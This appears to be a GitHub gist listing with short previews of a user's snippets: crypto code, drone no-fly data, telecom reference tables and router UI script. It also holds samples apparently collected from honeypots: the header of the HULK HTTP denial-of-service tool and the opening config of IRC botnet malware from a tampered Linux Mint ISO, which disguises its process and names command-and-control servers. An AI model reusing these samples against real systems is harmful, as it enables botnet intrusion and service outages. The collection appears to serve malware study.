Skip to content

Instantly share code, notes, and snippets.

@infra-0-0
infra-0-0 / chacha20.py
Created January 18, 2016 21:38
DO NOT USE! PROBABLY BROKEN! Pure-Python2.x Friendly Implementation of DJB's ChaCha20
# Pure Python ChaCha20
# Based on Numpy implementation: https://gist.github.com/chiiph/6855750
# Based on http://cr.yp.to/chacha.html
#
# I wanted an implementation of ChaCha in clean, understandable Python
# as a way to get a handle on the algorithm for porting to another language.
# There are plenty of bindings but few pure implementations, because
# Pure Python is too slow for normal practical use in Cryptography.
#
# The preceding implementation used NumPy, which avoided a lot of the
@infra-0-0
infra-0-0 / flyforbid.json
Created January 26, 2016 20:04
flyforbid.json from DJI-GO.apk sha1sum 226e8acfd194deb6917ef00a54bc5a131a888252, formatted using python's json.dumps(obj,indent=4)
This file has been truncated, but you can view the full file.
{
"release_limits": [
{
"begin_at": null,
"area_id": 1,
"name": "Eagle Airport",
"level": 0,
"country": 840,
"updated_at": 1429598267,
"disable": 0,
@infra-0-0
infra-0-0 / hulk.py
Created January 27, 2016 03:02
hulk.py from honeypot
# Infi-Zeal Technologies
# Regards,
# Hardeep Singh
# ----------------------------------------------------------------------------------------------
# HULK - HTTP Unbearable Load King
#
# this tool is a dos tool that is meant to put heavy load on HTTP servers in order to bring them
# to their knees by exhausting the resource pool, its is meant for research purposes only
# and any malicious usage of this tool is prohibited.
@infra-0-0
infra-0-0 / pastebin.py
Last active January 31, 2016 21:58
pastebin.py
import sys
from urllib import urlopen, urlencode
from time import time
from copy import copy
from re import findall
PASTEBIN_URL = 'https://pastebin.com/api/api_post.php'
PASTEBIN_LOGIN_URL = 'https://pastebin.com/api/api_login.php'
keys = []
@infra-0-0
infra-0-0 / lte.nb
Last active February 8, 2016 03:35
lte bands
# 3GPP TS 36.101 version 12.9.0 Release 12
# ETSI TS 136 101 V12.9.0 (2015-10)
# http://www.etsi.org/deliver/etsi_ts/136100_136199/136101/12.09.00_60/ts_136101v120900p.pdf
# Table 5.5-1 "E-UTRA Operating Bands"
# Table 5.6.1-1 "E-UTRA Channel Bandwidth"
1 1920 MHz – 1980 MHz 2110 MHz – 2170 MHz FDD 5, 10, 15, 20
2 1850 MHz – 1910 MHz 1930 MHz – 1990 MHz FDD 1.4, 3, 5, 10, 15, 20
3 1710 MHz – 1785 MHz 1805 MHz – 1880 MHz FDD 1.4, 3, 5, 10, 15, 20
4 1710 MHz – 1755 MHz 2110 MHz – 2155 MHz FDD 1.4, 3, 5, 10, 15, 20
@infra-0-0
infra-0-0 / http.py
Created February 8, 2016 04:02
http.py from honeypot
#!/usr/bin/env python
from multiprocessing import Process, Manager
import urlparse, ssl
import sys, getopt, random, time
# Python version-specific
if sys.version_info < (3,0):
# Python 2.x
import httplib
@infra-0-0
infra-0-0 / script.js
Created February 23, 2016 17:10
primary source for web UI version AC779S-S_03.03.92.10
function e(){return function(){}}function ga(a){for(var b in a)a.hasOwnProperty(b)&&delete a[b]}function ha(a,b){void 0===b&&(b=30);var c=new Date;c.setTime(c.getTime()+864E5*b);document.cookie=escape("p")+"="+escape(a)+("; expires="+c.toGMTString())+"; path=/"}function m(a){a&&(a.stopPropagation(),a.preventDefault());return!1}
function ja(a){var b="";if("1"==a.substring(0,1))a=a.substring(1),b="+1 ";else if("+1"==a.substring(0,2))a=a.substring(2),b="+1 ";else if(10!=a.length)return a;return b+"("+a.substring(0,3)+") "+a.substring(3,6)+"-"+a.substring(6)}
function q(a,b,c,d){var f;f=void 0===c||null===c?2:c;if(isNaN(a)||0>a)a=0;var h=null;if("GB"===b||1073741824<=a&&"MB"!==b)h=a/1073741824,a=r.get("FOTA_GBYTE");else if("KB"===b?(h=a/1024,a=r.get("FOTA_KBYTE")):(h=a/1048576,a=r.get("FOTA_MBYTE")),void 0===c||null===c)f=1;!1===d&&(a="");0==h%1&&(f=0);c=Math.pow(10,f);h=Math.round(c*h)/c;return h.toFixed(f)+" "+a}
function ka(a){var b=!0,c=8,d=63;switch(a){case "None":b=!1;c=d=0;break;case "WEP64_Open":case "WEP
@infra-0-0
infra-0-0 / man.cy
Created February 28, 2016 08:05 — forked from kurobeats/man.cy
man.cy from malicious Linux Mint iso
#define STARTUP 1
#undef IDENT // Only enable this if you absolutely have to
#define FAKENAME "apt-cache" // What you want this to hide as
#define CHAN "#mint" // Channel to join
#define KEY "bleh" // The key of the channel
int numservers=5; // Must change this to equal number of servers down there
char *servers[] = {
"updates.absentvodka.com",
"updates.mintylinux.com",
"eggstrawdinarry.mylittlerepo.com",
@infra-0-0
infra-0-0 / mcc-mnc-iso-country-countrycode-network.json
Created April 11, 2016 22:07
mcc-mnc-iso-country-countrycode-network from mcc-mnc.com
[
[
"289",
"88",
"ge",
"Abkhazia",
"7",
"A-Mobile "
],
[
@infra-0-0
infra-0-0 / areacodes
Created April 14, 2016 07:06
areacodes
201
202
203
204
205
206
207
208
209
210